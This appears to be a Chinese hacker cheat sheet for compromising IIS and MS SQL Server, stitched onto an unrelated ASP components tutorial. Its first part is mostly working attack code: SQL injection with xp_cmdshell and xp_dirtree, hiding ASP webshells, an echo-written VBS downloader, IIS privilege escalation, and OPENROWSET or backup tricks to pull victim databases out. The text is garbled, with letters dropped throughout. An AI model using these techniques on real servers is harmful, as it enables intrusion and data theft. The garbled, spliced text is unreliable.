Regpath:用来指定要导出哪个注册表的分支,如果不指定,则将导出全部注册表分支。在这些参数中,"/L:system"和"/R:user"参数是可选项,如果不使用这两个参数,注册表编辑器则认为是对WINDOWS目录下的"system.dat"和"user.dat"文件进行操作。如果是通过从软盘启动并进入DOS,那么就必须使用"/L"和"/R"参数来指定"system.dat"和"user.dat"文件的具体路径,否则注册表编辑器将无法找到它们。比如说,如果通过启动盘进入DOS,则备份注册表的命令是"Regedit /L:C:\windows\/R:C:\windows\/e regedit.reg",该命令的意思是把整个注册表备份到WINDOWS目录下,其文件名为"regedit.reg"。而如果输入的是"regedit /E D:\regedit.reg"这条命令,则是说把整个注册表备份到D盘的根目录下(省略了"/L"和"/R"参数),其文件名为"Regedit.reg"。
regedit / c:\adam.reg (导入c:\adam.reg文件至注册表)
regedit /e c:\web.reg (备份全部注册内容到c:\web.reg中)
针对win2000系统:C:\regedit /e %windir%\help\iishelp\common\404b.htm "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots"
目标IP/2.a 针对win2003系统:没有找到,希望找到的朋友公布出来一起讨论。
6)虚拟主机下%SystemRoot%\system32\inetsrv\MetaBack\下的文件是iis的备份文件,是允许web用户访问的,如果你的iis备份到这里,用we hell下载下来后用记事本打开,可以获取对应的域名和web绝对路径。
7)SQL注入建立虚拟目录,有dbo权限下找不到web绝对路径的一种解决办法:
我们很多情况下都遇到SQL注入可以列目录和运行命令,但是却很不容易找到web所在目录,也就不好得到一个we hell,这一招不错: ? 建立虚拟目录win,指向c:\wi t\system32:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\mkwebdir.v -c localhost -w "l" -v "win","c:\wi t\system32"' ? 让win目录具有解析a 脚本权限:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.v et w3svc/1/root/win/Acce execute "true" –s:' ? 删除虚拟目录win:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.v delete w3svc/1/root/win/'
? 测试:
127.0.0.1/win/test.a 8)利用SQL语句来查找WEB目录:根据经验,猜疑WEB根目录的顺序是:d盘、e盘、c盘,首先我们建立一个临时表用于存放master..xp_dirtree(适合于public)生成的目录树,用以下语句: ;create table temp(dir varchar(255),depth varchar(255));--,该表的dir字段表示目录的名称,depth字段表示目录的深度。然后执行xp_dirtree获得D盘的目录树,语句如下: ;i ert temp(dir,depth) exec master.dbo.xp_dirtree 'd:';-- 在进行下面的操作前,先查看D盘有几个文件夹,这样对D盘有个大致的了解,语句如下: and (select count(*) from tem where depth=1 and dir ot in('Document and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷'))=数字(数字=0、1、2、3...) 接着,我们在对方的网站上找几个一级子目录,如user、photo,然后,用筛选的方法来判断WEB根目录上是否存在此盘上,语句如下: and (select count(*) from tem where dir'user')(select count(*) from temp) 看语句的返回结果,如果为真,表示WEB根目录有可能在此盘上,为了进一步确认,多测试几个子目录: and (select count(*) from tem where dir'photo')(select count(*) from temp) ... 如果所有的测试结果都为真,表示WEB根目录很有可能在此盘上。 下面假设找到的WEB根目录在此盘上,用以下的语句来获得一级子目录的深度: and (select depth from tem where dir='user')=数字(数字=1、2、3...) 假设得到的depth是3,说明user目录是D盘的3级目录,则WEB根目录是D盘的二级目录。 目前我们已经知道了根目录所在的盘符和深度,要找到根目录的具体位置,我们来从D盘根目录开始逐一搜寻,当然,没有必要知道每个目录的名称,否则太耗费时间了。 接下来,另外建立一个临时表,用来存放D盘的1级子目录下的所有目录,语句如下: ;create table temp1(dir varchar(255),depth varchar(255));-- 然后把从D盘的第一个子目录下的所有目录存到temp1中,语句如下: declare @dirname varchar(255) et @dirname='d:\'+(select to 1 dir from (select to 1 dir from tem where depth=1 and dir ot in('Document and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order y dir desc)T order y dir);i ert into temp1 exec master.dbo.xp_dirtree @dirname 当然也可以把D盘的第二个子目录下的所有目录存到temp1中,只需把第二个to 1改为to 2就行了。 现在,temp1中已经保存了所有D盘第一级子目录下的所有目录,然后,我们用同样的方法来判断根目录是否在此一级子目录下: and (select count(*) from temp1 where dir'user')(select count(*) from temp1) 如果返回为真,表示根目录可能在此子目录下,记住要多测试几个例子,如果都返回为假,则表明WEB根目录不在此目录下,然后我们在用同样的方法来获得D盘第2、3...个子目录下的所有目录列表,来判断WEB根目录是否在其下。但是,要注意,用xp_dirtree前一定要把temp1表中的内容删除。 现在假设,WEB根目录在D盘的第一级子目录下,该子目录名称为we ite,怎样获得这个目录的名称我想不用我说了吧。因为前面我们知道了WEB根目录的深度为2,我们需要知道we ite下到底哪个才是真正的WEB根目录。 现在,我们用同样的方法,再建立第3个临时表: ;create table temp2(dir varchar(255),depth varchar(255));-- 然后把从D盘的we ite下的所有目录存到temp2中,语句如下: declare @dirname varchar(255) et @dirname='d:\we ite\'+(select to 1 dir from (select to 1 dir from temp1 where depth=1 and dir ot in('Document and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order y dir desc)T order y dir);i ert into temp2 exec master.dbo.xp_dirtree @dirname 当然也可以把D盘的we ite下第二个子目录下的所有目录存到temp2中,只需把第二个to 1改为to 2就行了。 现在,我们用同样的方法判断该目录是否为根目录: and (select count(*) from temp2 where dir'user')(select count(*) from temp2) 如果返回为真,为了确定我们的判断,多测试几个例子,方法上面都讲到了,如果多个例子都返回为真,那么就确定了该目录为WEB根目录。 用以上的方法基本上可以获得WEB根目录,现在我们假设WEB根目录是:D:\we ite\www 然后,我们就可以备份当前数据库到这个目录下用来下载。备份前我们把temp、temp1、temp2的内容清空,然后C、D、E盘的目录树分别存到temp、temp1、temp2中。 下载完数据库后要记得把三个临时表drop掉,现在我们在下载的数据库中可以找到所有的目录列表,包括后台管理的目录以及更多信息。
21、win2000下将WEB用户提升为系统用户权限,需要有管理员的权限才能执行:
c:\cscript C:\Inetpub\AdminScripts\adsutil.v et /W3SVC/InProce IsapiA "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ inc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\wi t\system32\inetsrv\a .dll"
cscript C:\Inetpub\AdminScripts\adsutil.v et /W3SVC/InProce IsapiA "C:\windows\system32\idq.dll" "C:\windows\system32\inetsrv\httpext.dll" "C:\windows\system32\inetsrv\httpodbc.dll" "C:\windows\system32\inetsrv\ inc.dll" "C:\windows\system32\msw3prt.dll" "C:\windows\system32\inetsrv\a .dll"
查看是否成功:
c:\cscript C:\Inetpub\AdminScripts\adsutil.v get w3svc/i roce isapia Microsoft (R) Window Script Host Versio 5.6
版权所有(C) Microsoft Corporatio 1996-2001。保留所有权利。
i roce isapia : (LIST) (6 Items)
"C:\WINNT\system32\idq.dll"
"C:\WINNT\system32\inetsrv\httpext.dll"
"C:\WINNT\system32\inetsrv\httpodbc.dll"
"C:\WINNT\system32\inetsrv\ inc.dll"
"C:\WINNT\system32\msw3prt.dll"
"c:\wi t\system32\inetsrv\a .dll"
22、如何隐藏ASP木马:
建立非标准目录:mkdir images..\
拷贝ASP木马至目录:copy c:\inetpub\wwwroot\dbm6.a c:\inetpub\wwwroot\images..\news.a 通过web访问ASP木马:
ip/images../news.a ?action=login
如何删除非标准目录:rmdir images..\ /s
23、去掉tenlnet的ntlm认证:
;exec master.dbo.xp_cmdshell 'tlntadm config ec = -ntlm'—
24、用echo写入文件下载脚本iget.v :
(1)echo Set x= createObject(^"Microsoft.XMLHTTP^"):x.Ope ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set = createObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.re o eBody):s.SaveToFile LCase(WScript.Arguments(1)),2 gt;c:\iget.v (2)c:\cscript iget.v dbm6.a 25、手工建立IIS隐藏目录的方法:
? 查看本地虚拟目录列表:cscript.exe c:\inetpub\AdminScripts\adsutil.v enum w3svc/1/root ? 新建一个ki 目录:mkdir c:\a \ki ? 建立ki 虚拟目录:cscript.exe c:\inetpub\AdminScripts\mkwebdir.v -c MyComputer -w "Default We Site" -v "ki ","c:\a \ki " ? 为ki 目录加执行和写权限:
cscript.exe c:\inetpub\AdminScripts\adsutil.v et w3svc/1/root/ki /ki /acce write "true" -s: cscript.exe c:\inetpub\AdminScripts\adsutil.v et w3svc/1/root/ki /acce execute "true" -s:
? ?:Cscript c:\inetpub\AdminScripts\adsutil.v et /w3svc/1/root/ki /createproce asuser false
? 访问:
127.0.0.1/ki /test.a 26、使用openrowset()连回本地做测试:
select a.*
FROM OPENROWSET('SQLOLEDB','127.0.0.1';'sa';'111111',
'select * FROM [dv ].[dbo].[dv_admin]') AS a
select * FROM OPENROWSET('SQLOLEDB','127.0.0.1';'sa';'111111',
'select * FROM [dv ].[dbo].[dv_admin]')
27、获得主机名: and 1=convert(int,@@servername)--
select convert(int,@@servername)
select @@servername
28、获得数据库用户名: and 1=convert(int,system_user)-- and user0
select user
29、普通用户获得WEBSHELL的方法之二:
? 打包:
EXEC [master].[dbo].[xp_makecab] 'c:\test.rar','default',1,'d:\cmd.a '
解包,可以用于得到we hell:
? EXEC [master].[dbo].[xp_u ackcab] 'C:\test.rar','c:',1, 'n.a '
? 读任意文件内容,要求有master的dbo权限:
EXEC [master].[dbo].[xp_readerrorlog] 1,'c:\cmd.a ' 30、sa 权限下已知web路径直接备份数据库到web路径下 ackuu database 数据库名 to disk='c:\inetpub\wwwroot\save.db' 则把得到的数据内容全部备份到WEB目录下,再用HTTP把此文件下载(当然首选要知道WEB虚拟目录)。
? 遍历系统的目录结构,分析结果并发现WEB虚拟目录,先创建一个临时表:temp
;create table temp(id varchar(255),num1 varchar(255),num2 varchar(255),num3 varchar(255));--
? 接下来:我们可以利用xp_availablemedia来获得当前所有驱动器,并存入temp表中:
;i ert tem exec master.dbo.xp_availablemedia;--
? 我们可以通过查询temp的内容来获得驱动器列表及相关信息或者利用xp_subdirs获得子目录列表,并存入temp表中:
;i ert into temp(id) exec master.dbo.xp_subdir 'c:\';--
? 我们还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中:
;i ert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 这样就可以成功的浏览到所有的目录(文件夹)列表
? 如果我们需要查看某个文件的内容,可以通过执行xp_cmdsell:;i ert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.a ';--
? 使用'bulk i ert'语法可以将一个文本文件插入到一个临时表中。如:bulk i ert temp(id) from 'c:\inetpub\wwwroot\index.a ' 浏览temp就可以看到index.a 文件的内容了!通过分析各种ASP文件,可以得到大量系统信息,WEB建设与管理信息,甚至可以得到SA帐号的连接密码。
31、一些sql中的扩展存储的总结:
xp_availablemedia 显示系统上可用的盘符'C:\' xp_availablemedia xp_enumgrou 列出当前系统的使用群组及其说明 xp_enumgrou xp_enumd 列出系统上已经设置好的ODBC数据源名称 xp_enumd xp_dirtree 显示某个目录下的子目录与文件架构 xp_dirtree 'C:\inetpub\wwwroot\' xp_getfiledetail 获取某文件的相关属性 xp_getfiledetail 'C:\inetpub\wwwroot.a ' d .xp_makeca 将目标计算机多个档案压缩到某个档案里所压缩的档案都可以接在参数的后面用豆号隔开 d .xp_makeca 'C:\lin.cab','evil',1,'C:\inetpub\mdb.a ' xp_u ackca 解压缩 xp_u ackca 'C:\hackway.cab','C:\temp',1 xp_ntsec_enumdomai 列出服务器域名 xp_ntsec_enumdomai xp_servicecontrol 停止或者启动某个服务 xp_servicecontrol 'stop','schedule' xp_terminate_proce 用pid来停止某个执行中的程序 xp_terminate_proce 123 dbo.xp_subdir 只列某个目录下的子目录 dbo.xp_subdir 'C:\'
USE MASTER
create roc _MSforeachObject
@objectType int=1,
@command1 varchar(2000),
@replacechar char(1) = N'?',
@command2 varchar(2000) = ull,
@command3 varchar(2000) = ull,
@whereand varchar(2000) = ull,
@precommand varchar(2000) = ull,
@postcommand varchar(2000) = ull
/* Thi roc retur on
e or more row for each table (optionally, matching @where), with each table defaulting to it ow result et */
/* @precommand and @postcommand may e used to force a ingle result et via a tem table. */
/* Preproce or won't replace withi quote o have to use tr(). */
declare @mscat varchar(12)
select @mscat = ltrim(str(convert(int, 0x0002)))
if (@precommand i ot ull)
exec(@precommand)
/* Defined @isobject for ave object type */
Declare @isobject varchar(256)
select @isobject= case @objectType whe 1 the 'IsUserTable'
whe 2 the 'IsView'
whe 3 the 'IsTrigger'
whe 4 the 'IsProcedure'
whe 5 the 'IsDefault'
whe 6 the 'IsForeignKey'
whe 7 the 'IsScalarFunction'
whe 8 the 'IsInlineFunction'
whe 9 the 'IsPrimaryKey'
whe 10 the 'IsExtendedProc'
whe 11 the 'IsReplProc'
whe 12 the 'IsRule' end
/* create the elect */
/* Use @isobject variable i tead of IsUserTable tring */
EXEC(N'declare hCForEach cursor global for elect ''['' + REPLACE(user_name(uid), N'']'', N'']]'') + '']'' + ''.'' + ''['' + REPLACE(object_name(id), N'']'', N'']]'') + '']'' from dbo.sysobject o '
+ N' where OBJECTPROPERTY(o.id, N'''+@isobject+''') = 1 '+N' and o.category am ' + @mscat + N' = 0 '
+ @whereand)
declare @retval int
select @retval = @@error
if (@retval = 0) exec @retval = _MSforeach_worker @command1, @replacechar, @command2, @command3
if (@retval = 0 and @postcommand i ot ull) exec(@postcommand)
retur @retval
1。获得所有的存储过程的脚本:
EXEc _MSforeachObject @command1=" _helptext '?' ",@objectType=4
2。获得所有的视图的脚本:
EXEc _MSforeachObject @command1=" _helptext '?' ",@objectType=2
EXEc _MSforeachObject @command1=" _changeobjectowner '?', 'dbo'",@objectType=1
EXEc _MSforeachObject @command1=" _changeobjectowner '?', 'dbo'",@objectType=2
EXEc _MSforeachObject @command1=" _changeobjectowner '?', 'dbo'",@objectType=3
EXEc _MSforeachObject @command1=" _changeobjectowner '?', 'dbo'",@objectType=4
33、DB_OWNER权限下的数据库备份方法
用openrowset吧。反连到自己的数据库机器,~先在本地建个跟目标机器一样结构的表~字段类型使用nvarchar.然后用海洋连接对方的SQL数据库,在查询分析那里执行
i ert into OPENROWSET ('sqloledb','server=你数据库服务器的IP;uid=user wd=pa database=d ame;','select * from 你建立的表) elect * from 对方的表—
要是数据量太大的话就看看他数据库里有没有自动编号的字段.select * from 表名 where id100
这样来弄吧
要是和WEB同台的话,直接将库BAK到WEB目录下回来就OK啦。。。不过前提库不能太大,超过2G的话SQL就超时了
如果是SA权限可以利用下面的两个ASP程序来备份数据库:
sqlbackup1.a HTML
TITLESQL Server 数据库的备份与恢复/TITLE
meta http-equiv="Content-Type" content="text/html charset=gb2312"
form method="post" ame=myform
选择操作:INPUT TYPE="radio" NAME="act" id="act_backup" value="backup"label for=act_backu gt;备份/label
INPUT TYPE="radio" NAME="act" id="act_restore" value="restore"label for=act_restore恢复/label
< r数据库名:INPUT TYPE="text" NAME="databasename" value="%=request("databasename")%"
< r文件路径:INPUT TYPE="text" NAME="bak_file" value="c:\1.exe"(备份或恢复的文件路径,备份成EXE主要为了方便下载,活活..)< r
i ut type="submit" value="确定"
dim qlserver,sqlname,sqlpa word,sqlLoginTimeout,databasename,bak_file,act
sqlserver = "localhost" 'sql服务器
sqlname = "sa" '用户名
sqlpa word = "数据库密码" '密码
sqlLoginTimeout = 15 '登陆超时
databasename = trim(request("databasename"))
bak_file = trim(request("bak_file"))
bak_file = replace(bak_file,"$1",databasename)
act = lcase(request("act"))
if databasename = "" then
re o e.write "i ut database ame"
if act = "backup" then
Set rv=Server.createObject("SQLDMO.SQLServer")
srv.LoginTimeout = qlLoginTimeout
srv.Co ect qlserver,sqlname, qlpa word
Set ak = Server.createObject("SQLDMO.Backup")
bak.Database=databasename
bak.Devices=Files
bak.Files=bak_file
bak.SQLBacku rv
if err.number0 then
re o e.write err.number&am "font color=red> lt r"
re o e.write err.descriptio am "/font"
Re o e.write "font color=gree gt;备份成功!/font"
elseif act = "restore" then
'恢复时要在没有使用数据库时进行!
Set rv=Server.createObject("SQLDMO.SQLServer")
srv.LoginTimeout = qlLoginTimeout
srv.Co ect qlserver,sqlname, qlpa word
Set rest=Server.createObject("SQLDMO.Restore")
rest.Action=0 ' full d restore
rest.Database=databasename
rest.Devices=Files
rest.Files=bak_file
rest.ReplaceDatabase=True 'Force restore over existing database
if err.number0 then
re o e.write err.number&am "font color=red> lt r"
re o e.write err.descriptio am "/font"
rest.SQLRestore rv
Re o e.write "font color=gree gt;恢复成功!/font"
Re o e.write "font color=red没有选择操作/font"
sqlbackup2.a %@LANGUAGE="VBSCRIPT" CODEPAGE="936"%
!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Tra itional//EN" "
html xml ="
meta http-equiv="Content-Type" content="text/html charset=gb2312" /
title采飞扬ASP备份MSSQL数据库程序 V1.0--QQ:79998575/title
< tyle
BODY { FONT-SIZE: 9pt COLOR: #000000 FONT-FAMILY: "Courier New" crollbar-face-color:#E4E4F3 crollbar-highlight-color:#FFFFFF crollbar-3dlight-color:#E4E4F3 crollbar-darkshadow-color:#9C9CD3 crollbar-shadow-color:#E4E4F3 crollbar-arrow-color:#4444B3 crollbar-track-color:#EFEFEF;}TABLE { FONT-SIZE: 9pt FONT-FAMILY: "Courier New" BORDER-COLLAPSE: colla e order-top-width: 1px order-right-width: 1px order-bottom-width: 1px order-left-width: 1px order-top-style: olid order-right-style: one order-bottom-style: one order-left-style: olid order-top-color: #d8d8f0 order-right-color: #d8d8f0 order-bottom-color: #d8d8f0 order-left-color: #d8d8f0;}.tr { font-family: "Courier New" font-size: 9pt ackground-color: #e4e4f3 text-align: center;}.td { font-family: "Courier New" font-size: 9pt ackground-color: #f9f9fd;}.warningColor { font-family: "Courier New" font-size: 9pt color: #ff0000;}i ut {
font-family: "Courier New";
BORDER-TOP-WIDTH: 1px;
BORDER-LEFT-WIDTH: 1px;
FONT-SIZE: 12px;
BORDER-BOTTOM-WIDTH: 1px;
BORDER-RIGHT-WIDTH: 1px;
color: #000000;
}textarea { font-family: "Courier New" BORDER-TOP-WIDTH: 1px BORDER-LEFT-WIDTH: 1px FONT-SIZE: 12px BORDER-BOTTOM-WIDTH: 1px BORDER-RIGHT-WIDTH: 1px color: #000000;}.liuye {
background-color: #CCCCFF;
A:link { FONT-SIZE: 9pt COLOR: #000000 FONT-FAMILY: "Courier New" TEXT-DECORATION: one;}tr { font-family: "Courier New" font-size: 9pt line-height: 18px;}td { font-family: "Courier New" font-size: 9pt order-top-width: 1px order-right-width: 1px order-bottom-width: 1px order-left-width: 1px order-top-style: one order-right-style: olid order-bottom-style: olid order-left-style: one order-top-color: #d8d8f0 order-right-color: #d8d8f0 order-bottom-color: #d8d8f0 order-left-color: #d8d8f0;}.trHead { font-family: "Courier New" font-size: 9pt ackground-color: #e4e4f3 line-height: 3px;}.i utLogi { font-family: "Courier New" font-size: 9pt order: 1px olid #d8d8f0 ackground-color: #f9f9fd vertical-align: ottom;}/style
< ody
form method="post" ame="myform" action="?action=backupdatabase"
table width="686" order="1" align="center"
td width="613" height="30" align="center" gcolor="#330066"font color="#FFFFFF"采飞扬ASP备份MSSQL数据库程序 V1.0 lt;/font/td
td选择操作: lt;i ut type="radio" ame="act" id="act_backup"value="backup" / lt;label for=act_backu gt;备份/label lt;i ut type="radio" ame="act" id="act_restore" value="restore" / lt;label for=act_restore恢复/label/td
tdlabelSQL服务器: lt;i ut type="text" ame="sqlserver" value="localhost" /
/label/td
tdlabel用户名: lt;i ut ame="sqlname" type="text" value="sa" /
密 码:
i ut type="text" ame="sqlpa word" /
/label/td
tdlabel数据库名: lt;i ut type="text" ame="databasename" value="%=request("databasename")%" /
/label/td
td文件路径: lt;i ut ame="bak_file" type="text" value="% =server.MapPath("\")&am "\"&am "liuyes.bak"%" ize="60" /
(备份或恢复的文件路径)/td
td% Re o e.write "本文件绝对路径:" % lt;font color="#FF0000" lt;% =server.ma ath(Request.ServerVariables("SCRIPT_NAME")) % lt;/font/td
tdi ut ame=submit1 type="submit" cla ="liuyes" id=submit1 ize="10" value="确 定" / lt;i ut ame="Submit" type="reset" cla ="liuyes" ize="10" value="重 置" //td
/form> table width="686" order="1" align="center"
td提示信息:% if request("action")="" the re o e.write "font color=#ff0000不用我多说什么了吧!/font"
'SQL Server 数据库的备份与恢复! if request("action")="backupdatabase" The dim qlserver,sqlname,sqlpa word,sqlLoginTimeout,databasename,bak_file,act sqlserver = trim(request("sqlserver"))
sqlname = trim(request("sqlname"))
sqlpa word =trim(request("sqlpa word"))
sqlLoginTimeout = 15
databasename = trim(request("databasename")) bak_file = trim(request("bak_file")) bak_file = replace(bak_file,"$1",databasename)
act = lcase(request("act"))
if databasename = "" then
re o e.write "font color=#ff0000没有输入数据库名称!/font"
if act = "backup" then
Set rv=Server.createObject("SQLDMO.SQLServer")
srv.LoginTimeout = qlLoginTimeout
srv.Co ect qlserver,sqlname, qlpa word
Set ak = Server.createObject("SQLDMO.Backup")
bak.Database=databasename
bak.Devices=File bak.Actio = 0
bak.Initialize = 1
'bak.Replace = True
bak.Files=bak_file bak.SQLBacku rv
if err.number0 the re o e.write err.number&am "font color=red> lt r" re o e.write err.descriptio am "/font" end if
Re o e.write "font color=gree gt;备份成功!/font" elseif act="restore" then
'恢复时要在没有使用数据库时进行! Set rv=Server.createObject("SQLDMO.SQLServer")
srv.LoginTimeout = qlLoginTimeout
srv.Co ect qlserver,sqlname, qlpa word
Set rest=Server.createObject("SQLDMO.Restore")
rest.Action=0 ' full d restore rest.Database=databasename rest.Devices=File rest.Files=bak_file rest.ReplaceDatabase=True 'Force restore over existing database if err.number0 then
re o e.write err.number&am "font color=red> lt r"
re o e.write err.descriptio am "/font"
rest.SQLRestore rv
Re o e.write "font color=gree gt;恢复成功!/font"
else Re o e.write "font color=red请选择备份或恢复!/font"
end if end if end if
/table> /body
( Sun, 24 May 2009 00:38:37 +0800 )
Description:
本文的内容是使用ASP的ActiveX Server Components(组件)。
一、 Browser Capabilities Component(浏览器能力组件):
我们知道,不同的浏览器也许支持不同的功能,如有些浏览器支持框架,有些不支持。利用这个组件,可以检查浏览器的能力,使你的网页争对不同的浏览器显示不同的页面(如对不支持Frame的浏览器显示不含Frame的网页)。 该组件的使用很简单,需注意的是,要正确使用该组件,必须保证Browscap.ini文件是最新的(其实每一个浏览器及其特性都列在这个文件中,自己打开看看就明白了),否则结果可能相去甚远,如Win98第二版所带的IE5.0,在下例中显示为Netscape。这个文件一般位于Web服务器的“\Wi t\System32\InetSrv”下,最新的版本可去
下载。
例:wuf22.a html
‘注意:组件的使用与对象类似,但是组件在使用前必须先创建,而使用内置对象前不必创建。
%Set BrowsCap=Server.CreateObject("MSWC.BrowserType")%
请稍候......
TABLE BORDER=1 CELLPADDING=10
TRTD浏览器类型/TDTD%=BrowsCap.Browser%/TD/TR
TRTD浏览器版本/TDTD%=BrowsCap.version%/TD/TR
TRTD是否支持表格/TDTD%=BrowsCap.tables%/TD/TR
TRTD是否支持ActiveX控件/TDTD%=BrowsCap.activexcontrols%/TD/TR
TRTD是否支持JavaA let lt;/TDTD%=BrowsCap.javaa lets%/TD/TR
TRTD是否支持JavaScript/TDTD%=BrowsCap.javascript%/TD/TR
TRTD是否支持Cookie lt;/TDTD%=BrowsCap.Cookies%/TD/TR
TRTD是否支持Frame lt;/TDTD%=BrowsCap.Frames%/TD/TR
TRTD操作系统/TDTD%=BrowsCap.Platform%/TD/TR
TRTD是否支持VBScript/TDTD%=BrowsCap.v cript%/TD/TR
%Set BrowsCap = Nothing%
注意:在本例中我们也接触了Server对象的CreateObject方法,Server.CreateObject用于创建已经注册到服务器上的ActiveX组件(说明:还有其他方法可以创建组件)。不过别忘了用“Set 对象 = Nothing”来及时释放资源,这应该成为一个习惯。
二、File Acce 组件
File Acce 组件由FileSystemObject对象和TextStream对象组成,使用FileSystemObject对象,可以建立、检索、删除目录及文件,而TextStream对象则提供读写文件的功能。
实例wuf23.a 。强调:只有通过实践才能加深理解,实践和比较程序运行结果是快速掌握编程技巧的最好方法。
%@ Language=VBScript %
% Option Explicit
' 注意绝对路径: C:\Inetpub\home\a \wuf23.a 主页路径: C:\Inetpub\home
Dim Path, File, FSO, CTF, Str, StrHTML, StrNoHTML
'使用 CreateObject 方法创建 FileSystemObject 对象 FSO
Set FSO = Server.CreateObject("Scripting.FileSystemObject")
Path = Server.MapPath("test") '返回test的物理目录(绝对路径)
'就本例而言, 下面这句与上面这句返回的Path完全一样
'Path = Server.MapPath("\a \test\")
Re o e.Write Path &am "Br"
If FSO.FolderExists(Path) = false then '判断该文件夹是否存在
FSO.CreateFolder(Path) '新建文件夹
File = Path &am "\a test.txt"
' 写文件操作
If FSO.FileExists(File) = True Then '判断该文件是否存在
'建立 TextStream 对象 CTF
Set CTF = FSO.OpenTextFile(File, 8, False, 0) '打开文件, 详见说明
Set CTF = FSO.CreateTextFile(File,False, False) '新建文件
CTF.Write "P第一个字符串; " '写字符串
CTF.WriteLine "第二个字符串; " '写字符串, 并加上一个换行符
CTF.Write "第三个字符串; "
CTF.Close '注意要关闭文件
' 读文件操作
Set CTF = FSO.OpenTextFile(File, 1,,0)
Do While CTF.AtEndOfStream True '判别是否文件结尾(循环语句)
Str = CTF.ReadLine '(每次)读取一行
StrNoHTML = StrNoHTML &am Str &am "BR" &am VbCrLf
StrHTML = StrHTML &am Server.HTMLEncode(Str) &am "BR" &am VbCrLf
Re o e.Write StrNoHTML
Re o e.Write StrHTML
CTF.Close
Set CTF = Nothing '释放对象
Set FSO = Nothing
CTF = FSO.OpenTextFile(File, 8, False, 0),括号内第一个参数为文件名;第二个参数为8,表示在原文件后追加内容,若为1表示只读,为2则会重写原文件;第三个参数false表示,若指定文件不存在,也不新建文件,若为True,表示指定文件不存在,则新建该文件;第四个参数0表示以ASCII文件格式打开,若为-2,则表示以原来的格式打开。
CTF = FSO.CreateTextFile(File,False, False),第二个参数false表示不覆盖已有文件,若为True,则表示覆盖(OverWrite)已有文件;第三个参数为False表示文件格式为ASCII,为True表示文件格式为Unicode。
Server对象的MapPath方法将指定的虚拟路径转换为真实的文件路径。MapPath将“/”和“\”字符视为相同。
Server对象的HTMLEncode方法允许你对特定的字符串进行HTML编码,或者说使浏览器中可以正确显示特定的字符。上例中,若未编码,则“P”显示不出来,而是被浏览器作为HTML标记,你可以对比一下运行结果。
实际上,File Acce 组件对文件、文件夹和驱动器的操作还是比较强大的,也提供了较多的方法,如果需要用到这方面的知识,别忘了使用它。
另外,到现在为止,写一个网页计数器已经是小菜一碟了吧,难怪那么多的网页提供免费计数器。怎么样?自己写一个图形计数器试试看,想怎么***就怎么***,完全自己说了算,爽呆!(小秘密:我的主页上有实例wuf24.a )
三、 AD Rotator(广告翻转组件)
现在上网,恐怕最讨厌的是别人主页上的广告条,最喜欢的是自己主页上的广告条,广告条如同垃圾邮件一样,比比皆是,防不胜防。你也可以自己动手制造这样的垃圾,ASP的AD Rotator组件就可使每次打开或者重新加载网页时,随机的显示广告。这个例子包括三部分:
例程wuf25.a %@ Language=VBScript %
% Option Explicit
Dim adr
'创建 AD Rotator 对象
Set adr = Server.CreateObject("MSWC.AdRotator")
adr.Border = 2 '指定图形文件的边框大小
adr.Clickable = True '指示显示的图片是否是一个超链接
adr.TargetFrame = "_blank" '设置超链接是否要指定Frame名称,如: _TOP _NEW _PARENT
'获取将要显示的图片及超链接设置 - 在文件 AdrSet.txt 中设置
Re o e.Write adr.GetAdvertisement("AdrSet.txt")
AdrSet.txt内容(后面为注释,不是这个文件的内容):
REDIRECT wuf26.a 点击广告后,转由wuf26.a 来处理
WIDTH 468 广告图片宽度
HEIGHT 60 广告图片高度
* 分隔符
广告图片所在位置,也可为本地图形文件
指向链接,若没有超链接,写入一个“-”
网易 文字说明
20 显示该广告的相对权重,即显示频率
新浪网
也可以使用本地图片,如../images/flag.gif
本例中一共有三个图片(图片大小468X60)及链接,每个链接的描述占四行,实际使用时,你可如法炮制,增加更多的图片。
% ‘wuf26.a URL = Request.QueryString("url")
Re o e.Redirect(URL)
wuf26.a 是一个最简单的处理程序,你可根据实际需要在这里加入更多的代码。
运行一下,原来这个组件的使用也很简单,你要做的就是得到自己的AdrSet.txt文件。利用这个组件,你甚至可以设计一个现在已非常时髦的广告交换主页。
四、 Content Linking组件
显然这个组件与链接有关系,如果想马上知道这个组件的具体用途,恐怕还操之过急,不妨先引用一个经典的例子:假设在网上阅读一本书,你对以下这些链接一定不会陌生:第1章、第2章、…、上一章、下一章(或前一页、后一页)等等。我们现在要做的就是如何在这些链接之间方便快速地设置跳转。
首先建一个链接列表文本文件,如urllist.txt
wuf23.a :文件操作(File Acce 组件)
wuf28.a :Content Linking组件使用示例
wuf22.a :浏览器能力组件
链接url地址和描述之间用 Tab 键分隔。下面wuf27.a 用来列出urllist.txt中的所有链接。
% @LANGUAGE = VBScript %
% Option Explicit %
htmlheadtitleContent Linking组件使用/title/head
< ody
h2目录列表: 注意核心链接是第2章, 你一定要点击它/h2
Dim NextLink, Count
'建立 Content Linking 组件
Set NextLink = Server.CreateObject("MSWC.NextLink")
'获取文件 urllist.txt 中链接数目
Count = NextLink.GetListCount("urllist.txt")
Dim url, Dscr, I
For I = 1 To Count
url = NextLink.GetNthURL ("urllist.txt", I) '取得超链接
Dscr = NextLink.GetNthDescription ("urllist.txt", I) '取得文字描述
Re o e.Write "lia href = """ &am url &am """" &am Dscr &am "/a" &am vbcrlf
/ul/body/html
然后,以wuf28.a 为例说明如何自动实现上一章和下一章跳转。
% @LANGUAGE = VBScript %
% Option Explicit %
